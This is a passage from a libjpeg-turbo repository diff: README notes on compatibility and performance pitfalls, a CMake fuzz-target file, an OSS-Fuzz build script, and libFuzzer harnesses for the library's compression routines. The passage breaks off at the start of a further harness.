cases in which libjpeg-turbo cannot be expected to produce the same output as
|
||||
libjpeg v8:
|
||||
|
||||
- When decompressing using scaling factors of 1/2 and 1/4, because libjpeg v8
|
||||
implements those scaling algorithms differently than libjpeg v6b does, and
|
||||
libjpeg-turbo's SIMD extensions are based on the libjpeg v6b behavior.
|
||||
|
||||
- When using chrominance subsampling, because libjpeg v8 implements this
|
||||
with its DCT/IDCT scaling algorithms rather than with a separate
|
||||
downsampling/upsampling algorithm. In our testing, the subsampled/upsampled
|
||||
output of libjpeg v8 is less accurate than that of libjpeg v6b for this
|
||||
reason.
|
||||
|
||||
- When decompressing using a scaling factor > 1 and merged (AKA "non-fancy" or
|
||||
"non-smooth") chrominance upsampling, because libjpeg v8 does not support
|
||||
merged upsampling with scaling factors > 1.
|
||||
|
||||
|
||||
Performance Pitfalls
|
||||
====================
|
||||
|
||||
Restart Markers
|
||||
---------------
|
||||
|
||||
The optimized Huffman decoder in libjpeg-turbo does not handle restart markers
|
||||
in a way that makes the rest of the libjpeg infrastructure happy, so it is
|
||||
necessary to use the slow Huffman decoder when decompressing a JPEG image that
|
||||
has restart markers. This can cause the decompression performance to drop by
|
||||
as much as 20%, but the performance will still be much greater than that of
|
||||
libjpeg. Many consumer packages, such as Photoshop, use restart markers when
|
||||
generating JPEG images, so images generated by those programs will experience
|
||||
this issue.
|
||||
|
||||
Fast Integer Forward DCT at High Quality Levels
|
||||
-----------------------------------------------
|
||||
|
||||
The algorithm used by the SIMD-accelerated quantization function cannot produce
|
||||
correct results whenever the fast integer forward DCT is used along with a JPEG
|
||||
quality of 98-100. Thus, libjpeg-turbo must use the non-SIMD quantization
|
||||
function in those cases. This causes performance to drop by as much as 40%.
|
||||
It is therefore strongly advised that you use the accurate integer forward DCT
|
||||
whenever encoding images with a JPEG quality of 98 or higher.
|
||||
|
||||
|
||||
Memory Debugger Pitfalls
|
||||
========================
|
||||
|
||||
Valgrind and Memory Sanitizer (MSan) can generate false positives
|
||||
(specifically, incorrect reports of uninitialized memory accesses) when used
|
||||
with libjpeg-turbo's SIMD extensions. It is generally recommended that the
|
||||
SIMD extensions be disabled, either by passing an argument of `-DWITH_SIMD=0`
|
||||
to `cmake` when configuring the build or by setting the environment variable
|
||||
`JSIMD_FORCENONE` to `1` at run time, when testing libjpeg-turbo with Valgrind,
|
||||
MSan, or other memory debuggers.
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+71
@@ -0,0 +1,71 @@
|
||||
if(NOT ENABLE_STATIC)
|
||||
message(FATAL_ERROR "Fuzz targets require static libraries.")
|
||||
endif()
|
||||
if(NOT WITH_TURBOJPEG)
|
||||
message(FATAL_ERROR "Fuzz targets require the TurboJPEG API library.")
|
||||
endif()
|
||||
|
||||
set(FUZZ_BINDIR "" CACHE PATH
|
||||
"Directory into which fuzz targets should be installed")
|
||||
if(NOT FUZZ_BINDIR)
|
||||
message(FATAL_ERROR "FUZZ_BINDIR must be specified.")
|
||||
endif()
|
||||
message(STATUS "FUZZ_BINDIR = ${FUZZ_BINDIR}")
|
||||
|
||||
set(FUZZ_LIBRARY "" CACHE STRING
|
||||
"Path to fuzzer library or flags necessary to link with it")
|
||||
if(NOT FUZZ_LIBRARY)
|
||||
message(FATAL_ERROR "FUZZ_LIBRARY must be specified.")
|
||||
endif()
|
||||
message(STATUS "FUZZ_LIBRARY = ${FUZZ_LIBRARY}")
|
||||
|
||||
enable_language(CXX)
|
||||
|
||||
set(EFFECTIVE_CXX_FLAGS
|
||||
"${CMAKE_CXX_FLAGS} ${CMAKE_CXX_FLAGS_${CMAKE_BUILD_TYPE_UC}}")
|
||||
message(STATUS "C++ Compiler flags = ${EFFECTIVE_CXX_FLAGS}")
|
||||
|
||||
add_executable(cjpeg_fuzzer${FUZZER_SUFFIX} cjpeg.cc ../src/cdjpeg.c
|
||||
../src/rdbmp.c ../src/rdgif.c ../src/wrapper/rdppm-8.c
|
||||
../src/wrapper/rdppm-12.c ../src/wrapper/rdppm-16.c ../src/rdswitch.c
|
||||
../src/rdtarga.c)
|
||||
set_property(TARGET cjpeg_fuzzer${FUZZER_SUFFIX} PROPERTY COMPILE_FLAGS
|
||||
${CDJPEG_COMPILE_FLAGS})
|
||||
target_link_libraries(cjpeg_fuzzer${FUZZER_SUFFIX} ${FUZZ_LIBRARY} jpeg-static)
|
||||
install(TARGETS cjpeg_fuzzer${FUZZER_SUFFIX}
|
||||
RUNTIME DESTINATION ${FUZZ_BINDIR} COMPONENT bin)
|
||||
|
||||
macro(add_fuzz_target target source_file)
|
||||
add_executable(${target}_fuzzer${FUZZER_SUFFIX} ${source_file})
|
||||
target_link_libraries(${target}_fuzzer${FUZZER_SUFFIX} ${FUZZ_LIBRARY}
|
||||
turbojpeg-static)
|
||||
install(TARGETS ${target}_fuzzer${FUZZER_SUFFIX}
|
||||
RUNTIME DESTINATION ${FUZZ_BINDIR} COMPONENT bin)
|
||||
endmacro()
|
||||
|
||||
add_fuzz_target(compress compress.cc)
|
||||
|
||||
add_fuzz_target(compress_yuv compress_yuv.cc)
|
||||
|
||||
add_fuzz_target(compress_lossless compress_lossless.cc)
|
||||
|
||||
add_fuzz_target(compress12 compress12.cc)
|
||||
|
||||
add_fuzz_target(compress12_lossless compress12_lossless.cc)
|
||||
|
||||
add_fuzz_target(compress16_lossless compress16_lossless.cc)
|
||||
|
||||
# NOTE: This target is named libjpeg_turbo_fuzzer instead of decompress_fuzzer
|
||||
# in order to preserve the corpora from Google's OSS-Fuzz target for
|
||||
# libjpeg-turbo, which this target replaces.
|
||||
add_fuzz_target(libjpeg_turbo decompress.cc)
|
||||
|
||||
add_executable(decompress_libjpeg_fuzzer${FUZZER_SUFFIX} decompress_libjpeg.cc)
|
||||
target_link_libraries(decompress_libjpeg_fuzzer${FUZZER_SUFFIX} ${FUZZ_LIBRARY}
|
||||
jpeg-static)
|
||||
install(TARGETS decompress_libjpeg_fuzzer${FUZZER_SUFFIX}
|
||||
RUNTIME DESTINATION ${FUZZ_BINDIR} COMPONENT bin)
|
||||
|
||||
add_fuzz_target(decompress_yuv decompress_yuv.cc)
|
||||
|
||||
add_fuzz_target(transform transform.cc)
|
||||
Executable
+44
@@ -0,0 +1,44 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -u
|
||||
set -e
|
||||
|
||||
FUZZER_SUFFIX=
|
||||
if [ $# -ge 1 ]; then
|
||||
FUZZER_SUFFIX="$1"
|
||||
FUZZER_SUFFIX="`echo $1 | sed 's/\./_/g'`"
|
||||
fi
|
||||
|
||||
if [ "$SANITIZER" = "memory" ]; then
|
||||
export CFLAGS="$CFLAGS -DZERO_BUFFERS=1"
|
||||
fi
|
||||
|
||||
cmake . -DCMAKE_BUILD_TYPE=RelWithDebInfo -DENABLE_STATIC=1 -DENABLE_SHARED=0 \
|
||||
-DCMAKE_C_FLAGS_RELWITHDEBINFO="-g -DNDEBUG" \
|
||||
-DCMAKE_CXX_FLAGS_RELWITHDEBINFO="-g -DNDEBUG" -DCMAKE_INSTALL_PREFIX=$WORK \
|
||||
-DWITH_FUZZ=1 -DFUZZ_BINDIR=$OUT -DFUZZ_LIBRARY=$LIB_FUZZING_ENGINE \
|
||||
-DFUZZER_SUFFIX="$FUZZER_SUFFIX"
|
||||
make "-j$(nproc)" "--load-average=$(nproc)"
|
||||
make install
|
||||
|
||||
for fuzzer in cjpeg \
|
||||
compress \
|
||||
compress_yuv \
|
||||
compress_lossless \
|
||||
compress12 \
|
||||
compress12_lossless \
|
||||
compress16_lossless; do
|
||||
cp $SRC/compress_fuzzer_seed_corpus.zip $OUT/${fuzzer}_fuzzer${FUZZER_SUFFIX}_seed_corpus.zip
|
||||
done
|
||||
|
||||
FUZZ_DIR=$(dirname "$0")
|
||||
|
||||
for fuzzer in libjpeg_turbo \
|
||||
decompress_libjpeg \
|
||||
decompress_yuv \
|
||||
transform; do
|
||||
cp $SRC/decompress_fuzzer_seed_corpus.zip $OUT/${fuzzer}_fuzzer${FUZZER_SUFFIX}_seed_corpus.zip
|
||||
if [ -f "$FUZZ_DIR/jpeg.dict" ]; then
|
||||
cp "$FUZZ_DIR/jpeg.dict" $OUT/${fuzzer}_fuzzer${FUZZER_SUFFIX}.dict
|
||||
fi
|
||||
done
|
||||
Executable
+73
@@ -0,0 +1,73 @@
|
||||
/*
|
||||
* Copyright (C) 2021, 2024, 2026 D. R. Commander. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/* This fuzz target wraps cjpeg in order to test esoteric compression options
|
||||
as well as the GIF and Targa readers. */
|
||||
|
||||
#define CJPEG_FUZZER
|
||||
extern "C" {
|
||||
#include "../src/cjpeg.c"
|
||||
}
|
||||
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
char *argv1[] = {
|
||||
(char *)"cjpeg", (char *)"-dct", (char *)"float", (char *)"-memdst",
|
||||
(char *)"-quality", (char *)"100,99,98",
|
||||
(char *)"-sample", (char *)"4x1,2x2,1x2", (char *)"-targa"
|
||||
};
|
||||
char *argv2[] = {
|
||||
(char *)"cjpeg", (char *)"-dct", (char *)"float", (char *)"-memdst",
|
||||
(char *)"-quality", (char *)"90,80,70", (char *)"-smooth", (char *)"50",
|
||||
(char *)"-targa"
|
||||
};
|
||||
FILE *file = NULL;
|
||||
|
||||
if ((file = fmemopen((void *)data, size, "r")) == NULL)
|
||||
goto bailout;
|
||||
|
||||
fseek(file, 0, SEEK_SET);
|
||||
cjpeg_fuzzer(9, argv1, file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
cjpeg_fuzzer(9, argv2, file);
|
||||
|
||||
argv1[8] = argv2[8] = NULL;
|
||||
|
||||
fseek(file, 0, SEEK_SET);
|
||||
cjpeg_fuzzer(8, argv1, file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
cjpeg_fuzzer(8, argv2, file);
|
||||
|
||||
bailout:
|
||||
if (file) fclose(file);
|
||||
return 0;
|
||||
}
|
||||
Executable
+162
@@ -0,0 +1,162 @@
|
||||
/*
|
||||
* Copyright (C) 2021, 2023-2026 D. R. Commander. All Rights Reserved.
|
||||
* Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
extern "C" unsigned char *
|
||||
_tj3LoadImageFromFileHandle8(tjhandle handle, FILE *file, int *width,
|
||||
int align, int *height, int *pixelFormat);
|
||||
|
||||
|
||||
#define NUMTESTS 7
|
||||
|
||||
|
||||
struct test {
|
||||
int bottomUp;
|
||||
enum TJPF pf;
|
||||
int colorspace;
|
||||
enum TJSAMP subsamp;
|
||||
int fastDCT, quality, optimize, progressive, arithmetic, noRealloc,
|
||||
restartRows;
|
||||
};
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
unsigned char *imgBuf = NULL, *srcBuf, *dstBuf = NULL;
|
||||
int width = 0, height = 0, ti;
|
||||
FILE *file = NULL;
|
||||
struct test tests[NUMTESTS] = {
|
||||
/*
|
||||
BU Pixel JPEG Subsampling Fst Qual Opt Prg Ari No Rst
|
||||
Format Colorspace Level DCT Realc Rows */
|
||||
{ 1, TJPF_RGB, TJCS_RGB, TJSAMP_444, 0, 100, 0, 0, 0, 0, 2 },
|
||||
{ 0, TJPF_BGR, TJCS_YCbCr, TJSAMP_422, 0, 90, 0, 1, 0, 0, 0 },
|
||||
{ 0, TJPF_RGBX, TJCS_YCbCr, TJSAMP_420, 1, 75, 0, 0, 1, 1, 0 },
|
||||
{ 0, TJPF_BGRA, TJCS_YCbCr, TJSAMP_411, 0, 50, 0, 1, 1, 0, 0 },
|
||||
{ 0, TJPF_XRGB, TJCS_GRAY, TJSAMP_GRAY, 0, 25, 0, 0, 0, 0, 0 },
|
||||
{ 0, TJPF_GRAY, TJCS_GRAY, TJSAMP_GRAY, 0, 10, 0, 0, 0, 0, 0 },
|
||||
{ 0, TJPF_CMYK, TJCS_YCCK, TJSAMP_440, 0, 1, 1, 0, 0, 0, 2 }
|
||||
};
|
||||
|
||||
if ((file = fmemopen((void *)data, size, "r")) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
for (ti = 0; ti < NUMTESTS; ti++) {
|
||||
int pf = tests[ti].pf;
|
||||
size_t dstSize = 0, maxBufSize, i, sum = 0;
|
||||
|
||||
/* Test non-default compression options on specific iterations. */
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp);
|
||||
tj3Set(handle, TJPARAM_COLORSPACE, tests[ti].colorspace);
|
||||
tj3Set(handle, TJPARAM_FASTDCT, tests[ti].fastDCT);
|
||||
tj3Set(handle, TJPARAM_OPTIMIZE, tests[ti].optimize);
|
||||
tj3Set(handle, TJPARAM_PROGRESSIVE, tests[ti].progressive);
|
||||
tj3Set(handle, TJPARAM_ARITHMETIC, tests[ti].arithmetic);
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc);
|
||||
tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows);
|
||||
|
||||
tj3Set(handle, TJPARAM_MAXPIXELS, 1048576);
|
||||
/* tj3LoadImage8() will refuse to load images larger than 1 Megapixel, so
|
||||
we don't need to check the width and height here. */
|
||||
fseek(file, 0, SEEK_SET);
|
||||
if ((imgBuf = _tj3LoadImageFromFileHandle8(handle, file, &width, 1,
|
||||
&height, &pf)) == NULL) {
|
||||
if (size < 2)
|
||||
continue;
|
||||
|
||||
/* Derive image dimensions from input data. Use first 2 bytes to
|
||||
influence width/height. */
|
||||
width = (data[0] % 64) + 8; /* 8-71 */
|
||||
height = (data[1] % 64) + 8; /* 8-71 */
|
||||
|
||||
size_t required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf];
|
||||
if (size < required_size) {
|
||||
/* Not enough data - try smaller dimensions */
|
||||
width = 8;
|
||||
height = 8;
|
||||
required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf];
|
||||
if (size < required_size)
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Skip header bytes. */
|
||||
srcBuf = (unsigned char *)data + 2;
|
||||
} else
|
||||
srcBuf = imgBuf;
|
||||
|
||||
dstSize = maxBufSize = tj3JPEGBufSize(width, height, tests[ti].subsamp);
|
||||
if (tj3Get(handle, TJPARAM_NOREALLOC)) {
|
||||
if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL)
|
||||
goto bailout;
|
||||
} else
|
||||
dstBuf = NULL;
|
||||
|
||||
if (size >= 34)
|
||||
tj3SetICCProfile(handle, (unsigned char *)&data[2], 32);
|
||||
|
||||
tj3Set(handle, TJPARAM_SUBSAMP, tests[ti].subsamp);
|
||||
tj3Set(handle, TJPARAM_QUALITY, tests[ti].quality);
|
||||
if (tj3Compress8(handle, srcBuf, width, 0, height, pf, &dstBuf,
|
||||
&dstSize) == 0) {
|
||||
/* Touch all of the output data in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < dstSize; i++)
|
||||
sum += dstBuf[i];
|
||||
}
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
tj3Free(imgBuf);
|
||||
imgBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
tj3Free(imgBuf);
|
||||
if (file) fclose(file);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
Executable
+161
@@ -0,0 +1,161 @@
|
||||
/*
|
||||
* Copyright (C) 2021, 2023-2026 D. R. Commander. All Rights Reserved.
|
||||
* Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
extern "C" short *
|
||||
_tj3LoadImageFromFileHandle12(tjhandle handle, FILE *file, int *width,
|
||||
int align, int *height, int *pixelFormat);
|
||||
|
||||
|
||||
#define NUMTESTS 7
|
||||
|
||||
|
||||
struct test {
|
||||
int bottomUp;
|
||||
enum TJPF pf;
|
||||
int colorspace;
|
||||
enum TJSAMP subsamp;
|
||||
int fastDCT, quality, progressive, arithmetic, noRealloc, restartRows;
|
||||
};
|
||||
|
||||
|
||||
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)
|
||||
{
|
||||
tjhandle handle = NULL;
|
||||
short *imgBuf = NULL, *srcBuf;
|
||||
unsigned char *dstBuf = NULL;
|
||||
int width = 0, height = 0, ti;
|
||||
FILE *file = NULL;
|
||||
struct test tests[NUMTESTS] = {
|
||||
/*
|
||||
BU Pixel JPEG Subsampling Fst Qual Prg Ari No Rst
|
||||
Format Colorspace Level DCT Realc Rows */
|
||||
{ 0, TJPF_RGB, TJCS_YCbCr, TJSAMP_444, 1, 100, 0, 0, 1, 0 },
|
||||
{ 0, TJPF_BGR, TJCS_YCbCr, TJSAMP_422, 0, 90, 0, 0, 0, 0 },
|
||||
{ 0, TJPF_RGBX, TJCS_RGB, TJSAMP_420, 0, 75, 0, 1, 0, 1 },
|
||||
{ 0, TJPF_BGRA, TJCS_YCbCr, TJSAMP_411, 0, 50, 0, 0, 0, 0 },
|
||||
{ 0, TJPF_XRGB, TJCS_GRAY, TJSAMP_GRAY, 0, 25, 0, 0, 0, 0 },
|
||||
{ 0, TJPF_GRAY, TJCS_GRAY, TJSAMP_GRAY, 0, 10, 1, 0, 0, 0 },
|
||||
{ 1, TJPF_CMYK, TJCS_YCCK, TJSAMP_440, 0, 1, 1, 1, 0, 1 }
|
||||
};
|
||||
|
||||
if ((file = fmemopen((void *)data, size, "r")) == NULL)
|
||||
goto bailout;
|
||||
|
||||
if ((handle = tj3Init(TJINIT_COMPRESS)) == NULL)
|
||||
goto bailout;
|
||||
|
||||
for (ti = 0; ti < NUMTESTS; ti++) {
|
||||
int pf = tests[ti].pf;
|
||||
size_t dstSize = 0, maxBufSize, i, sum = 0;
|
||||
|
||||
/* Test non-default compression options on specific iterations. */
|
||||
tj3Set(handle, TJPARAM_BOTTOMUP, tests[ti].bottomUp);
|
||||
tj3Set(handle, TJPARAM_COLORSPACE, tests[ti].colorspace);
|
||||
tj3Set(handle, TJPARAM_FASTDCT, tests[ti].fastDCT);
|
||||
tj3Set(handle, TJPARAM_PROGRESSIVE, tests[ti].progressive);
|
||||
tj3Set(handle, TJPARAM_ARITHMETIC, tests[ti].arithmetic);
|
||||
tj3Set(handle, TJPARAM_NOREALLOC, tests[ti].noRealloc);
|
||||
tj3Set(handle, TJPARAM_RESTARTROWS, tests[ti].restartRows);
|
||||
|
||||
tj3Set(handle, TJPARAM_MAXPIXELS, 1048576);
|
||||
/* tj3LoadImage12() will refuse to load images larger than 1 Megapixel, so
|
||||
we don't need to check the width and height here. */
|
||||
fseek(file, 0, SEEK_SET);
|
||||
if ((imgBuf = _tj3LoadImageFromFileHandle12(handle, file, &width, 1,
|
||||
&height, &pf)) == NULL) {
|
||||
if (size < 2)
|
||||
continue;
|
||||
|
||||
/* Derive image dimensions from input data. Use first 2 bytes to
|
||||
influence width/height. */
|
||||
width = (data[0] % 64) + 8; /* 8-71 */
|
||||
height = (data[1] % 64) + 8; /* 8-71 */
|
||||
|
||||
size_t required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf] * 2;
|
||||
if (size < required_size) {
|
||||
/* Not enough data - try smaller dimensions */
|
||||
width = 8;
|
||||
height = 8;
|
||||
required_size = 2 + (size_t)width * height *
|
||||
tjPixelSize[tests[ti].pf] * 2;
|
||||
if (size < required_size)
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Skip header bytes. */
|
||||
srcBuf = (short *)(data + 2);
|
||||
} else
|
||||
srcBuf = imgBuf;
|
||||
|
||||
dstSize = maxBufSize = tj3JPEGBufSize(width, height, tests[ti].subsamp);
|
||||
if (tj3Get(handle, TJPARAM_NOREALLOC)) {
|
||||
if ((dstBuf = (unsigned char *)tj3Alloc(dstSize)) == NULL)
|
||||
goto bailout;
|
||||
} else
|
||||
dstBuf = NULL;
|
||||
|
||||
if (size >= 34)
|
||||
tj3SetICCProfile(handle, (unsigned char *)&data[2], 32);
|
||||
|
||||
tj3Set(handle, TJPARAM_SUBSAMP, tests[ti].subsamp);
|
||||
tj3Set(handle, TJPARAM_QUALITY, tests[ti].quality);
|
||||
if (tj3Compress12(handle, srcBuf, width, 0, height, pf, &dstBuf,
|
||||
&dstSize) == 0) {
|
||||
/* Touch all of the output data in order to catch uninitialized reads
|
||||
when using MemorySanitizer. */
|
||||
for (i = 0; i < dstSize; i++)
|
||||
sum += dstBuf[i];
|
||||
}
|
||||
|
||||
tj3Free(dstBuf);
|
||||
dstBuf = NULL;
|
||||
tj3Free(imgBuf);
|
||||
imgBuf = NULL;
|
||||
|
||||
/* Prevent the sum above from being optimized out. This test should never
|
||||
be true, but the compiler doesn't know that. */
|
||||
if (sum > 255 * maxBufSize)
|
||||
goto bailout;
|
||||
}
|
||||
|
||||
bailout:
|
||||
tj3Free(dstBuf);
|
||||
tj3Free(imgBuf);
|
||||
if (file) fclose(file);
|
||||
tj3Destroy(handle);
|
||||
return 0;
|
||||
}
|
||||
+157
@@ -0,0 +1,157 @@
|
||||
/*
|
||||
* Copyright (C) 2021-2026 D. R. Commander. All Rights Reserved.
|
||||
* Copyright (C) 2025 Leslie P. Polzer. All Rights Reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* - Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
* - Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from this
|
||||
* software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include "../src/turbojpeg.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
extern "C" short *
|
||||
_tj3LoadImageFromFileHandle12(tjhandle handle, FILE *file, int *width,
|
||||
int align, int *height, int *pixelFormat);
|
||||
|
||||
|
||||
#define NUMTESTS 7
|
||||
|
||||
|
||||
struct test {
|
||||
